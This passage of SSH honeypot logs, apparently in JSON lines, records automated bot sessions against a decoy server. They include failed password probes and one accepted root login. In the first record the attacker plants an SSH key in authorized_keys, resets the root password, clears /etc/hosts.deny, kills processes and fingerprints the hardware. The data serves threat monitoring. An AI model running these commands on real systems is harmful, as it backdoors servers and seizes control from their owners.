AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:29:46.411828+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:29:46.412445+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:29:46.765821+00:00","kind":"input","latency_ms":null,"data":"echo \"root:qqEprUOvwu9s\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:29:47.105355+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:29:47.452148+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:29:47.454101+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:29:47.798896+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:29:48.356225+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:29:48.710690+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:29:49.203165+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:29:49.827480+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:29:49.829316+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:29:50.173233+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:29:50.173688+00:00","kind":"output","latency_ms":null,"data":" 11:29:50 up 7 days, 8:19, 0 user, load average: 0.22, 0.26, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:29:50.525338+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:29:50.525958+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:29:50.876010+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:29:50.876445+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:29:51.226910+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:29:51.227438+00:00","kind":"output","latency_ms":null,"data":"top - 11:29:51 up 7 days, 8:19, 0 user, load average: 0.22, 0.26, 0.19\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:29:51.575160+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:29:51.576664+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:29:51.923496+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:29:51.923916+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:29:52.271710+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:29:52.272458+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:29:52.623342+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:29:53.139425+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:29:53.806731+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:29:54.350190+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Yx123456!","method":"password","accepted":true,"tier":"other"}]} {"id":"9e1487d8-6c72-4cd5-b38b-ab3b0b56c53e","name":"sullen-faded-cormorant","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":55164,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:29:45.013165+00:00","ended_at":"2026-08-27T11:29:46.307131+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"535ecacb-756d-45b5-a853-aaa019545408","name":"peaty-rapid-jackdaw","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":55162,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:29:42.447312+00:00","ended_at":"2026-08-27T11:29:44.352184+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4d7d245a-9145-438f-8b8a-e27f078306ed","name":"distant-balmy-bittern","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":57984,"username":"danny","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:26:21.314547+00:00","ended_at":"2026-08-27T11:26:22.563901+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"danny","password":"123","method":"password","accepted":false,"tier":"other"}]}